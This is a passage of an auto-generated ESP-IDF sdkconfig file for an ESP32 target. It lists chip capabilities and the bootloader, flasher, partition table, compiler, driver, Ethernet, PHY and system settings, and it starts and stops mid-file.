CONFIG_SOC_SDM_CHANNELS_PER_GROUP=8 129 | CONFIG_SOC_SPI_HD_BOTH_INOUT_SUPPORTED=y 130 | CONFIG_SOC_SPI_AS_CS_SUPPORTED=y 131 | CONFIG_SOC_SPI_PERIPH_NUM=3 132 | CONFIG_SOC_SPI_DMA_CHAN_NUM=2 133 | CONFIG_SOC_SPI_MAX_CS_NUM=3 134 | CONFIG_SOC_SPI_MAXIMUM_BUFFER_SIZE=64 135 | CONFIG_SOC_SPI_MAX_PRE_DIVIDER=8192 136 | CONFIG_SOC_MEMSPI_SRC_FREQ_80M_SUPPORTED=y 137 | CONFIG_SOC_MEMSPI_SRC_FREQ_40M_SUPPORTED=y 138 | CONFIG_SOC_MEMSPI_SRC_FREQ_26M_SUPPORTED=y 139 | CONFIG_SOC_MEMSPI_SRC_FREQ_20M_SUPPORTED=y 140 | CONFIG_SOC_TIMER_GROUPS=2 141 | CONFIG_SOC_TIMER_GROUP_TIMERS_PER_GROUP=2 142 | CONFIG_SOC_TIMER_GROUP_COUNTER_BIT_WIDTH=64 143 | CONFIG_SOC_TIMER_GROUP_TOTAL_TIMERS=4 144 | CONFIG_SOC_TIMER_GROUP_SUPPORT_APB=y 145 | CONFIG_SOC_TOUCH_VERSION_1=y 146 | CONFIG_SOC_TOUCH_SENSOR_NUM=10 147 | CONFIG_SOC_TOUCH_PAD_MEASURE_WAIT_MAX=0xFF 148 | CONFIG_SOC_TWAI_BRP_MIN=2 149 | CONFIG_SOC_TWAI_SUPPORT_MULTI_ADDRESS_LAYOUT=y 150 | CONFIG_SOC_UART_NUM=3 151 | CONFIG_SOC_UART_SUPPORT_APB_CLK=y 152 | CONFIG_SOC_UART_SUPPORT_REF_TICK=y 153 | CONFIG_SOC_UART_FIFO_LEN=128 154 | CONFIG_SOC_UART_BITRATE_MAX=5000000 155 | CONFIG_SOC_SPIRAM_SUPPORTED=y 156 | CONFIG_SOC_SPI_MEM_SUPPORT_CONFIG_GPIO_BY_EFUSE=y 157 | CONFIG_SOC_SHA_SUPPORT_PARALLEL_ENG=y 158 | CONFIG_SOC_SHA_SUPPORT_SHA1=y 159 | CONFIG_SOC_SHA_SUPPORT_SHA256=y 160 | CONFIG_SOC_SHA_SUPPORT_SHA384=y 161 | CONFIG_SOC_SHA_SUPPORT_SHA512=y 162 | CONFIG_SOC_RSA_MAX_BIT_LEN=4096 163 | CONFIG_SOC_AES_SUPPORT_AES_128=y 164 | CONFIG_SOC_AES_SUPPORT_AES_192=y 165 | CONFIG_SOC_AES_SUPPORT_AES_256=y 166 | CONFIG_SOC_SECURE_BOOT_V1=y 167 | CONFIG_SOC_EFUSE_SECURE_BOOT_KEY_DIGESTS=y 168 | CONFIG_SOC_FLASH_ENCRYPTED_XTS_AES_BLOCK_MAX=32 169 | CONFIG_SOC_PHY_DIG_REGS_MEM_SIZE=21 170 | CONFIG_SOC_PM_SUPPORT_EXT_WAKEUP=y 171 | CONFIG_SOC_PM_SUPPORT_TOUCH_SENSOR_WAKEUP=y 172 | CONFIG_SOC_PM_SUPPORT_RTC_PERIPH_PD=y 173 | CONFIG_SOC_PM_SUPPORT_RTC_FAST_MEM_PD=y 174 | CONFIG_SOC_PM_SUPPORT_RTC_SLOW_MEM_PD=y 175 | CONFIG_SOC_SDMMC_USE_IOMUX=y 176 | CONFIG_SOC_SDMMC_NUM_SLOTS=2 177 | CONFIG_SOC_WIFI_WAPI_SUPPORT=y 178 | CONFIG_SOC_WIFI_CSI_SUPPORT=y 179 | CONFIG_SOC_WIFI_MESH_SUPPORT=y 180 | CONFIG_SOC_BLE_SUPPORTED=y 181 | CONFIG_SOC_BLE_MESH_SUPPORTED=y 182 | CONFIG_SOC_BT_CLASSIC_SUPPORTED=y 183 | CONFIG_IDF_CMAKE=y 184 | CONFIG_IDF_TARGET_ARCH_XTENSA=y 185 | CONFIG_IDF_TARGET_ARCH="xtensa" 186 | CONFIG_IDF_TARGET="esp32" 187 | CONFIG_IDF_TARGET_ESP32=y 188 | CONFIG_IDF_FIRMWARE_CHIP_ID=0x0000 189 | 190 | # 191 | # Build type 192 | # 193 | CONFIG_APP_BUILD_TYPE_APP_2NDBOOT=y 194 | # CONFIG_APP_BUILD_TYPE_ELF_RAM is not set 195 | CONFIG_APP_BUILD_GENERATE_BINARIES=y 196 | CONFIG_APP_BUILD_BOOTLOADER=y 197 | CONFIG_APP_BUILD_USE_FLASH_SECTIONS=y 198 | # CONFIG_APP_REPRODUCIBLE_BUILD is not set 199 | # CONFIG_APP_NO_BLOBS is not set 200 | # CONFIG_APP_COMPATIBLE_PRE_V2_1_BOOTLOADERS is not set 201 | # CONFIG_APP_COMPATIBLE_PRE_V3_1_BOOTLOADERS is not set 202 | # end of Build type 203 | 204 | # 205 | # Bootloader config 206 | # 207 | CONFIG_BOOTLOADER_OFFSET_IN_FLASH=0x1000 208 | CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_SIZE=y 209 | # CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_DEBUG is not set 210 | # CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_PERF is not set 211 | # CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_NONE is not set 212 | # CONFIG_BOOTLOADER_LOG_LEVEL_NONE is not set 213 | # CONFIG_BOOTLOADER_LOG_LEVEL_ERROR is not set 214 | # CONFIG_BOOTLOADER_LOG_LEVEL_WARN is not set 215 | CONFIG_BOOTLOADER_LOG_LEVEL_INFO=y 216 | # CONFIG_BOOTLOADER_LOG_LEVEL_DEBUG is not set 217 | # CONFIG_BOOTLOADER_LOG_LEVEL_VERBOSE is not set 218 | CONFIG_BOOTLOADER_LOG_LEVEL=3 219 | # CONFIG_BOOTLOADER_VDDSDIO_BOOST_1_8V is not set 220 | CONFIG_BOOTLOADER_VDDSDIO_BOOST_1_9V=y 221 | # CONFIG_BOOTLOADER_FACTORY_RESET is not set 222 | # CONFIG_BOOTLOADER_APP_TEST is not set 223 | CONFIG_BOOTLOADER_REGION_PROTECTION_ENABLE=y 224 | CONFIG_BOOTLOADER_WDT_ENABLE=y 225 | # CONFIG_BOOTLOADER_WDT_DISABLE_IN_USER_CODE is not set 226 | CONFIG_BOOTLOADER_WDT_TIME_MS=9000 227 | # CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE is not set 228 | # CONFIG_BOOTLOADER_SKIP_VALIDATE_IN_DEEP_SLEEP is not set 229 | # CONFIG_BOOTLOADER_SKIP_VALIDATE_ON_POWER_ON is not set 230 | # CONFIG_BOOTLOADER_SKIP_VALIDATE_ALWAYS is not set 231 | CONFIG_BOOTLOADER_RESERVE_RTC_SIZE=0 232 | # CONFIG_BOOTLOADER_CUSTOM_RESERVE_RTC is not set 233 | CONFIG_BOOTLOADER_FLASH_XMC_SUPPORT=y 234 | # end of Bootloader config 235 | 236 | # 237 | # Security features 238 | # 239 | CONFIG_SECURE_BOOT_V1_SUPPORTED=y 240 | # CONFIG_SECURE_SIGNED_APPS_NO_SECURE_BOOT is not set 241 | # CONFIG_SECURE_BOOT is not set 242 | # CONFIG_SECURE_FLASH_ENC_ENABLED is not set 243 | # end of Security features 244 | 245 | # 246 | # Application manager 247 | # 248 | CONFIG_APP_COMPILE_TIME_DATE=y 249 | # CONFIG_APP_EXCLUDE_PROJECT_VER_VAR is not set 250 | # CONFIG_APP_EXCLUDE_PROJECT_NAME_VAR is not set 251 | # CONFIG_APP_PROJECT_VER_FROM_CONFIG is not set 252 | CONFIG_APP_RETRIEVE_LEN_ELF_SHA=16 253 | # end of Application manager 254 | 255 | CONFIG_ESP_ROM_HAS_CRC_LE=y 256 | CONFIG_ESP_ROM_HAS_CRC_BE=y 257 | CONFIG_ESP_ROM_HAS_JPEG_DECODE=y 258 | CONFIG_ESP_ROM_SUPPORT_MULTIPLE_UART=y 259 | CONFIG_ESP_ROM_NEEDS_SWSETUP_WORKAROUND=y 260 | 261 | # 262 | # Serial flasher config 263 | # 264 | # CONFIG_ESPTOOLPY_NO_STUB is not set 265 | # CONFIG_ESPTOOLPY_FLASHMODE_QIO is not set 266 | # CONFIG_ESPTOOLPY_FLASHMODE_QOUT is not set 267 | CONFIG_ESPTOOLPY_FLASHMODE_DIO=y 268 | # CONFIG_ESPTOOLPY_FLASHMODE_DOUT is not set 269 | CONFIG_ESPTOOLPY_FLASH_SAMPLE_MODE_STR=y 270 | CONFIG_ESPTOOLPY_FLASHMODE="dio" 271 | # CONFIG_ESPTOOLPY_FLASHFREQ_80M is not set 272 | CONFIG_ESPTOOLPY_FLASHFREQ_40M=y 273 | # CONFIG_ESPTOOLPY_FLASHFREQ_26M is not set 274 | # CONFIG_ESPTOOLPY_FLASHFREQ_20M is not set 275 | CONFIG_ESPTOOLPY_FLASHFREQ="40m" 276 | # CONFIG_ESPTOOLPY_FLASHSIZE_1MB is not set 277 | CONFIG_ESPTOOLPY_FLASHSIZE_2MB=y 278 | # CONFIG_ESPTOOLPY_FLASHSIZE_4MB is not set 279 | # CONFIG_ESPTOOLPY_FLASHSIZE_8MB is not set 280 | # CONFIG_ESPTOOLPY_FLASHSIZE_16MB is not set 281 | # CONFIG_ESPTOOLPY_FLASHSIZE_32MB is not set 282 | # CONFIG_ESPTOOLPY_FLASHSIZE_64MB is not set 283 | # CONFIG_ESPTOOLPY_FLASHSIZE_128MB is not set 284 | CONFIG_ESPTOOLPY_FLASHSIZE="2MB" 285 | # CONFIG_ESPTOOLPY_HEADER_FLASHSIZE_UPDATE is not set 286 | CONFIG_ESPTOOLPY_BEFORE_RESET=y 287 | # CONFIG_ESPTOOLPY_BEFORE_NORESET is not set 288 | CONFIG_ESPTOOLPY_BEFORE="default_reset" 289 | CONFIG_ESPTOOLPY_AFTER_RESET=y 290 | # CONFIG_ESPTOOLPY_AFTER_NORESET is not set 291 | CONFIG_ESPTOOLPY_AFTER="hard_reset" 292 | CONFIG_ESPTOOLPY_MONITOR_BAUD=115200 293 | # end of Serial flasher config 294 | 295 | # 296 | # Partition Table 297 | # 298 | CONFIG_PARTITION_TABLE_SINGLE_APP=y 299 | # CONFIG_PARTITION_TABLE_SINGLE_APP_LARGE is not set 300 | # CONFIG_PARTITION_TABLE_TWO_OTA is not set 301 | # CONFIG_PARTITION_TABLE_CUSTOM is not set 302 | CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" 303 | CONFIG_PARTITION_TABLE_FILENAME="partitions_singleapp.csv" 304 | CONFIG_PARTITION_TABLE_OFFSET=0x8000 305 | CONFIG_PARTITION_TABLE_MD5=y 306 | # end of Partition Table 307 | 308 | # 309 | # Compiler options 310 | # 311 | CONFIG_COMPILER_OPTIMIZATION_DEFAULT=y 312 | # CONFIG_COMPILER_OPTIMIZATION_SIZE is not set 313 | # CONFIG_COMPILER_OPTIMIZATION_PERF is not set 314 | # CONFIG_COMPILER_OPTIMIZATION_NONE is not set 315 | CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_ENABLE=y 316 | # CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_SILENT is not set 317 | # CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_DISABLE is not set 318 | CONFIG_COMPILER_FLOAT_LIB_FROM_GCCLIB=y 319 | CONFIG_COMPILER_OPTIMIZATION_ASSERTION_LEVEL=2 320 | # CONFIG_COMPILER_OPTIMIZATION_CHECKS_SILENT is not set 321 | CONFIG_COMPILER_HIDE_PATHS_MACROS=y 322 | # CONFIG_COMPILER_CXX_EXCEPTIONS is not set 323 | # CONFIG_COMPILER_CXX_RTTI is not set 324 | CONFIG_COMPILER_STACK_CHECK_MODE_NONE=y 325 | # CONFIG_COMPILER_STACK_CHECK_MODE_NORM is not set 326 | # CONFIG_COMPILER_STACK_CHECK_MODE_STRONG is not set 327 | # CONFIG_COMPILER_STACK_CHECK_MODE_ALL is not set 328 | # CONFIG_COMPILER_WARN_WRITE_STRINGS is not set 329 | # CONFIG_COMPILER_DUMP_RTL_FILES is not set 330 | # end of Compiler options 331 | 332 | # 333 | # Component config 334 | # 335 | 336 | # 337 | # Application Level Tracing 338 | # 339 | # CONFIG_APPTRACE_DEST_JTAG is not set 340 | CONFIG_APPTRACE_DEST_NONE=y 341 | # CONFIG_APPTRACE_DEST_UART1 is not set 342 | # CONFIG_APPTRACE_DEST_UART2 is not set 343 | CONFIG_APPTRACE_DEST_UART_NONE=y 344 | CONFIG_APPTRACE_UART_TASK_PRIO=1 345 | CONFIG_APPTRACE_LOCK_ENABLE=y 346 | # end of Application Level Tracing 347 | 348 | # 349 | # Bluetooth 350 | # 351 | # CONFIG_BT_ENABLED is not set 352 | # end of Bluetooth 353 | 354 | # 355 | # Driver Configurations 356 | # 357 | 358 | # 359 | # Legacy ADC Configuration 360 | # 361 | CONFIG_ADC_DISABLE_DAC=y 362 | # CONFIG_ADC_SUPPRESS_DEPRECATE_WARN is not set 363 | 364 | # 365 | # Legacy ADC Calibration Configuration 366 | # 367 | CONFIG_ADC_CAL_EFUSE_TP_ENABLE=y 368 | CONFIG_ADC_CAL_EFUSE_VREF_ENABLE=y 369 | CONFIG_ADC_CAL_LUT_ENABLE=y 370 | # CONFIG_ADC_CALI_SUPPRESS_DEPRECATE_WARN is not set 371 | # end of Legacy ADC Calibration Configuration 372 | # end of Legacy ADC Configuration 373 | 374 | # 375 | # SPI Configuration 376 | # 377 | # CONFIG_SPI_MASTER_IN_IRAM is not set 378 | CONFIG_SPI_MASTER_ISR_IN_IRAM=y 379 | # CONFIG_SPI_SLAVE_IN_IRAM is not set 380 | CONFIG_SPI_SLAVE_ISR_IN_IRAM=y 381 | # end of SPI Configuration 382 | 383 | # 384 | # TWAI Configuration 385 | # 386 | # CONFIG_TWAI_ISR_IN_IRAM is not set 387 | CONFIG_TWAI_ERRATA_FIX_BUS_OFF_REC=y 388 | CONFIG_TWAI_ERRATA_FIX_TX_INTR_LOST=y 389 | CONFIG_TWAI_ERRATA_FIX_RX_FRAME_INVALID=y 390 | CONFIG_TWAI_ERRATA_FIX_RX_FIFO_CORRUPT=y 391 | # end of TWAI Configuration 392 | 393 | # 394 | # UART Configuration 395 | # 396 | # CONFIG_UART_ISR_IN_IRAM is not set 397 | # end of UART Configuration 398 | 399 | # 400 | # GPIO Configuration 401 | # 402 | # CONFIG_GPIO_ESP32_SUPPORT_SWITCH_SLP_PULL is not set 403 | # CONFIG_GPIO_CTRL_FUNC_IN_IRAM is not set 404 | # end of GPIO Configuration 405 | 406 | # 407 | # Sigma Delta Modulator Configuration 408 | # 409 | # CONFIG_SDM_CTRL_FUNC_IN_IRAM is not set 410 | # CONFIG_SDM_SUPPRESS_DEPRECATE_WARN is not set 411 | # CONFIG_SDM_ENABLE_DEBUG_LOG is not set 412 | # end of Sigma Delta Modulator Configuration 413 | 414 | # 415 | # GPTimer Configuration 416 | # 417 | # CONFIG_GPTIMER_CTRL_FUNC_IN_IRAM is not set 418 | # CONFIG_GPTIMER_ISR_IRAM_SAFE is not set 419 | # CONFIG_GPTIMER_SUPPRESS_DEPRECATE_WARN is not set 420 | # CONFIG_GPTIMER_ENABLE_DEBUG_LOG is not set 421 | # end of GPTimer Configuration 422 | 423 | # 424 | # PCNT Configuration 425 | # 426 | # CONFIG_PCNT_CTRL_FUNC_IN_IRAM is not set 427 | # CONFIG_PCNT_ISR_IRAM_SAFE is not set 428 | # CONFIG_PCNT_SUPPRESS_DEPRECATE_WARN is not set 429 | # CONFIG_PCNT_ENABLE_DEBUG_LOG is not set 430 | # end of PCNT Configuration 431 | 432 | # 433 | # RMT Configuration 434 | # 435 | # CONFIG_RMT_ISR_IRAM_SAFE is not set 436 | # CONFIG_RMT_SUPPRESS_DEPRECATE_WARN is not set 437 | # CONFIG_RMT_ENABLE_DEBUG_LOG is not set 438 | # end of RMT Configuration 439 | 440 | # 441 | # MCPWM Configuration 442 | # 443 | # CONFIG_MCPWM_ISR_IRAM_SAFE is not set 444 | # CONFIG_MCPWM_CTRL_FUNC_IN_IRAM is not set 445 | # CONFIG_MCPWM_SUPPRESS_DEPRECATE_WARN is not set 446 | # CONFIG_MCPWM_ENABLE_DEBUG_LOG is not set 447 | # end of MCPWM Configuration 448 | 449 | # 450 | # I2S Configuration 451 | # 452 | # CONFIG_I2S_ISR_IRAM_SAFE is not set 453 | # CONFIG_I2S_SUPPRESS_DEPRECATE_WARN is not set 454 | # CONFIG_I2S_ENABLE_DEBUG_LOG is not set 455 | # end of I2S Configuration 456 | # end of Driver Configurations 457 | 458 | # 459 | # eFuse Bit Manager 460 | # 461 | # CONFIG_EFUSE_CUSTOM_TABLE is not set 462 | # CONFIG_EFUSE_VIRTUAL is not set 463 | # CONFIG_EFUSE_CODE_SCHEME_COMPAT_NONE is not set 464 | CONFIG_EFUSE_CODE_SCHEME_COMPAT_3_4=y 465 | # CONFIG_EFUSE_CODE_SCHEME_COMPAT_REPEAT is not set 466 | CONFIG_EFUSE_MAX_BLK_LEN=192 467 | # end of eFuse Bit Manager 468 | 469 | # 470 | # ESP-TLS 471 | # 472 | CONFIG_ESP_TLS_USING_MBEDTLS=y 473 | # CONFIG_ESP_TLS_USE_SECURE_ELEMENT is not set 474 | # CONFIG_ESP_TLS_CLIENT_SESSION_TICKETS is not set 475 | # CONFIG_ESP_TLS_SERVER is not set 476 | # CONFIG_ESP_TLS_PSK_VERIFICATION is not set 477 | # CONFIG_ESP_TLS_INSECURE is not set 478 | # end of ESP-TLS 479 | 480 | # 481 | # ADC and ADC Calibration 482 | # 483 | # CONFIG_ADC_ONESHOT_CTRL_FUNC_IN_IRAM is not set 484 | # CONFIG_ADC_CONTINUOUS_ISR_IRAM_SAFE is not set 485 | 486 | # 487 | # ADC Calibration Configurations 488 | # 489 | CONFIG_ADC_CALI_EFUSE_TP_ENABLE=y 490 | CONFIG_ADC_CALI_EFUSE_VREF_ENABLE=y 491 | CONFIG_ADC_CALI_LUT_ENABLE=y 492 | # end of ADC Calibration Configurations 493 | 494 | CONFIG_ADC_DISABLE_DAC_OUTPUT=y 495 | # end of ADC and ADC Calibration 496 | 497 | # 498 | # Common ESP-related 499 | # 500 | CONFIG_ESP_ERR_TO_NAME_LOOKUP=y 501 | # end of Common ESP-related 502 | 503 | # 504 | # Ethernet 505 | # 506 | CONFIG_ETH_ENABLED=y 507 | CONFIG_ETH_USE_ESP32_EMAC=y 508 | CONFIG_ETH_PHY_INTERFACE_RMII=y 509 | CONFIG_ETH_RMII_CLK_INPUT=y 510 | # CONFIG_ETH_RMII_CLK_OUTPUT is not set 511 | CONFIG_ETH_RMII_CLK_IN_GPIO=0 512 | CONFIG_ETH_DMA_BUFFER_SIZE=512 513 | CONFIG_ETH_DMA_RX_BUFFER_NUM=10 514 | CONFIG_ETH_DMA_TX_BUFFER_NUM=10 515 | CONFIG_ETH_USE_SPI_ETHERNET=y 516 | # CONFIG_ETH_SPI_ETHERNET_DM9051 is not set 517 | # CONFIG_ETH_SPI_ETHERNET_W5500 is not set 518 | # CONFIG_ETH_SPI_ETHERNET_KSZ8851SNL is not set 519 | # CONFIG_ETH_USE_OPENETH is not set 520 | # CONFIG_ETH_TRANSMIT_MUTEX is not set 521 | # end of Ethernet 522 | 523 | # 524 | # Event Loop Library 525 | # 526 | # CONFIG_ESP_EVENT_LOOP_PROFILING is not set 527 | CONFIG_ESP_EVENT_POST_FROM_ISR=y 528 | CONFIG_ESP_EVENT_POST_FROM_IRAM_ISR=y 529 | # end of Event Loop Library 530 | 531 | # 532 | # GDB Stub 533 | # 534 | # end of GDB Stub 535 | 536 | # 537 | # ESP HTTP client 538 | # 539 | CONFIG_ESP_HTTP_CLIENT_ENABLE_HTTPS=y 540 | # CONFIG_ESP_HTTP_CLIENT_ENABLE_BASIC_AUTH is not set 541 | # CONFIG_ESP_HTTP_CLIENT_ENABLE_DIGEST_AUTH is not set 542 | # end of ESP HTTP client 543 | 544 | # 545 | # HTTP Server 546 | # 547 | CONFIG_HTTPD_MAX_REQ_HDR_LEN=512 548 | CONFIG_HTTPD_MAX_URI_LEN=512 549 | CONFIG_HTTPD_ERR_RESP_NO_DELAY=y 550 | CONFIG_HTTPD_PURGE_BUF_LEN=32 551 | # CONFIG_HTTPD_LOG_PURGE_DATA is not set 552 | # CONFIG_HTTPD_WS_SUPPORT is not set 553 | # CONFIG_HTTPD_QUEUE_WORK_BLOCKING is not set 554 | # end of HTTP Server 555 | 556 | # 557 | # ESP HTTPS OTA 558 | # 559 | # CONFIG_ESP_HTTPS_OTA_DECRYPT_CB is not set 560 | # CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP is not set 561 | # end of ESP HTTPS OTA 562 | 563 | # 564 | # ESP HTTPS server 565 | # 566 | # CONFIG_ESP_HTTPS_SERVER_ENABLE is not set 567 | # end of ESP HTTPS server 568 | 569 | # 570 | # Hardware Settings 571 | # 572 | 573 | # 574 | # MAC Config 575 | # 576 | CONFIG_ESP_MAC_ADDR_UNIVERSE_WIFI_STA=y 577 | CONFIG_ESP_MAC_ADDR_UNIVERSE_WIFI_AP=y 578 | CONFIG_ESP_MAC_ADDR_UNIVERSE_BT=y 579 | CONFIG_ESP_MAC_ADDR_UNIVERSE_ETH=y 580 | # CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES_TWO is not set 581 | CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES_FOUR=y 582 | CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES=4 583 | # end of MAC Config 584 | 585 | # 586 | # Sleep Config 587 | # 588 | # CONFIG_ESP_SLEEP_POWER_DOWN_FLASH is not set 589 | CONFIG_ESP_SLEEP_RTC_BUS_ISO_WORKAROUND=y 590 | # CONFIG_ESP_SLEEP_GPIO_RESET_WORKAROUND is not set 591 | CONFIG_ESP_SLEEP_FLASH_LEAKAGE_WORKAROUND=y 592 | # CONFIG_ESP_SLEEP_MSPI_NEED_ALL_IO_PU is not set 593 | CONFIG_ESP_SLEEP_DEEP_SLEEP_WAKEUP_DELAY=2000 594 | # end of Sleep Config 595 | 596 | # 597 | # RTC Clock Config 598 | # 599 | CONFIG_RTC_CLK_SRC_INT_RC=y 600 | # CONFIG_RTC_CLK_SRC_EXT_CRYS is not set 601 | # CONFIG_RTC_CLK_SRC_EXT_OSC is not set 602 | # CONFIG_RTC_CLK_SRC_INT_8MD256 is not set 603 | CONFIG_RTC_CLK_CAL_CYCLES=1024 604 | # end of RTC Clock Config 605 | 606 | # 607 | # Peripheral Control 608 | # 609 | # CONFIG_PERIPH_CTRL_FUNC_IN_IRAM is not set 610 | # end of Peripheral Control 611 | 612 | # 613 | # MMU Config 614 | # 615 | CONFIG_MMU_PAGE_SIZE_64KB=y 616 | CONFIG_MMU_PAGE_MODE="64KB" 617 | CONFIG_MMU_PAGE_SIZE=0x10000 618 | # end of MMU Config 619 | 620 | CONFIG_ESP32_REV_MIN_0=y 621 | # CONFIG_ESP32_REV_MIN_1 is not set 622 | # CONFIG_ESP32_REV_MIN_2 is not set 623 | # CONFIG_ESP32_REV_MIN_3 is not set 624 | CONFIG_ESP32_REV_MIN=0 625 | 626 | # 627 | # Main XTAL Config 628 | # 629 | # CONFIG_XTAL_FREQ_26 is not set 630 | CONFIG_XTAL_FREQ_40=y 631 | # CONFIG_XTAL_FREQ_AUTO is not set 632 | CONFIG_XTAL_FREQ=40 633 | # end of Main XTAL Config 634 | # end of Hardware Settings 635 | 636 | # 637 | # LCD and Touch Panel 638 | # 639 | 640 | # 641 | # LCD Touch Drivers are maintained in the IDF Component Registry 642 | # 643 | 644 | # 645 | # LCD Peripheral Configuration 646 | # 647 | CONFIG_LCD_PANEL_IO_FORMAT_BUF_SIZE=32 648 | # CONFIG_LCD_ENABLE_DEBUG_LOG is not set 649 | # end of LCD Peripheral Configuration 650 | # end of LCD and Touch Panel 651 | 652 | # 653 | # ESP NETIF Adapter 654 | # 655 | CONFIG_ESP_NETIF_IP_LOST_TIMER_INTERVAL=120 656 | CONFIG_ESP_NETIF_TCPIP_LWIP=y 657 | # CONFIG_ESP_NETIF_LOOPBACK is not set 658 | # CONFIG_ESP_NETIF_L2_TAP is not set 659 | # CONFIG_ESP_NETIF_BRIDGE_EN is not set 660 | # end of ESP NETIF Adapter 661 | 662 | # 663 | # PHY 664 | # 665 | CONFIG_ESP_PHY_CALIBRATION_AND_DATA_STORAGE=y 666 | # CONFIG_ESP_PHY_INIT_DATA_IN_PARTITION is not set 667 | CONFIG_ESP_PHY_MAX_WIFI_TX_POWER=20 668 | CONFIG_ESP_PHY_MAX_TX_POWER=20 669 | CONFIG_ESP_PHY_REDUCE_TX_POWER=y 670 | # end of PHY 671 | 672 | # 673 | # Power Management 674 | # 675 | # CONFIG_PM_ENABLE is not set 676 | # end of Power Management 677 | 678 | # 679 | # ESP PSRAM 680 | # 681 | # CONFIG_SPIRAM is not set 682 | # end of ESP PSRAM 683 | 684 | # 685 | # ESP Ringbuf 686 | # 687 | # CONFIG_RINGBUF_PLACE_FUNCTIONS_INTO_FLASH is not set 688 | # CONFIG_RINGBUF_PLACE_ISR_FUNCTIONS_INTO_FLASH is not set 689 | # end of ESP Ringbuf 690 | 691 | # 692 | # ESP System Settings 693 | # 694 | # CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_80 is not set 695 | CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_160=y 696 | # CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_240 is not set 697 | CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ=160 698 | 699 | # 700 | # Memory 701 | # 702 | # CONFIG_ESP32_USE_FIXED_STATIC_RAM_SIZE is not set 703 | # end of Memory 704 | 705 | # 706 | # Trace memory 707 | # 708 | # CONFIG_ESP32_TRAX is not set 709 | CONFIG_ESP32_TRACEMEM_RESERVE_DRAM=0x0 710 | # end of Trace memory 711 | 712 | # CONFIG_ESP_SYSTEM_PANIC_PRINT_HALT is not set 713 | CONFIG_ESP_SYSTEM_PANIC_PRINT_REBOOT=y 714 | # CONFIG_ESP_SYSTEM_PANIC_SILENT_REBOOT is not set 715 | # CONFIG_ESP_SYSTEM_PANIC_GDBSTUB is not set 716 | # CONFIG_ESP_SYSTEM_GDBSTUB_RUNTIME is not set 717 | 718 | # 719 | # Memory protection 720 | # 721 | # end of Memory protection 722 | 723 | CONFIG_ESP_SYSTEM_EVENT_QUEUE_SIZE=32 724 | CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=2304 725 | CONFIG_ESP_MAIN_TASK_STACK_SIZE=3584 726 | CONFIG_ESP_MAIN_TASK_AFFINITY_CPU0=y 727 | # CONFIG_ESP_MAIN_TASK_AFFINITY_CPU1 is not set 728 | # CONFIG_ESP_MAIN_TASK_AFFINITY_NO_AFFINITY is not set 729 | CONFIG_ESP_MAIN_TASK_AFFINITY=0x0 730 | CONFIG_ESP_MINIMAL_SHARED_STACK_SIZE=2048 731 | CONFIG_ESP_CONSOLE_UART_DEFAULT=y 732 | # CONFIG_ESP_CONSOLE_UART_CUSTOM is not set 733 | # CONFIG_ESP_CONSOLE_NONE is not set 734 | CONFIG_ESP_CONSOLE_UART=y 735 | CONFIG_ESP_CONSOLE_MULTIPLE_UART=y 736 | CONFIG_ESP_CONSOLE_UART_NUM=0 737 | CONFIG_ESP_CONSOLE_UART_BAUDRATE=115200 738 | CONFIG_ESP_INT_WDT=y 739 | CONFIG_ESP_INT_WDT_TIMEOUT_MS=300 740 | CONFIG_ESP_INT_WDT_CHECK_CPU1=y 741 | CONFIG_ESP_TASK_WDT=y 742 | # CONFIG_ESP_TASK_WDT_PANIC is not set 743 | CONFIG_ESP_TASK_WDT_TIMEOUT_S=5 744 | CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU0=y 745 | CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU1=y 746 | # CONFIG_ESP_PANIC_HANDLER_IRAM is not set 747 | # CONFIG_ESP_DEBUG_STUBS_ENABLE is not set 748 | CONFIG_ESP_DEBUG_OCDAWARE=y 749 | # CONFIG_ESP_SYSTEM_CHECK_INT_LEVEL_5 is not set 750 | CONFIG_ESP_SYSTEM_CHECK_INT_LEVEL_4=y 751 | 752 | # 753 | # Brownout Detector 754 | # 755 | CONFIG_ESP_BROWNOUT_DET=y 756 | CONFIG_ESP_BROWNOUT_DET_LVL_SEL_0=y 757 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_1 is not set 758 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_2 is not set 759 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_3 is not set 760 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_4 is not set 761 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_5 is not set 762 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_6 is not set 763 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_7 is not set 764 | CONFIG_ESP_BROWNOUT_DET_LVL=0 765 | # end of Brownout Detector 766 | 767 | # CONFIG_ESP32_DISABLE_BASIC_ROM_CONSOLE is not set 768 | CONFIG_ESP_SYSTEM_BROWNOUT_INTR=y 769 | # end of ESP System Settings 770 | 771 | # 772 | # IPC (Inter-Processor Call) 773 | # 774 | CONFIG_ESP_IPC_TASK_STACK_SIZE=1024 775 | CONFIG_ESP_IPC_USES_CALLERS_PRIORITY=y 776 | CONFIG_ESP_IPC_ISR_ENABLE=y 777 | # end of IPC (Inter-Processor Call) 778 | 779 | # 780 | # High resolution timer (esp_timer) 781 | # 782 | # CONFIG_ESP_TIMER_PROFILING is not set 783 | CONFIG_ESP_TIME_FUNCS_USE_RTC_TIMER=y 784 | CONFIG_ESP_TIME_FUNCS_USE_ESP_TIMER=y 785 | 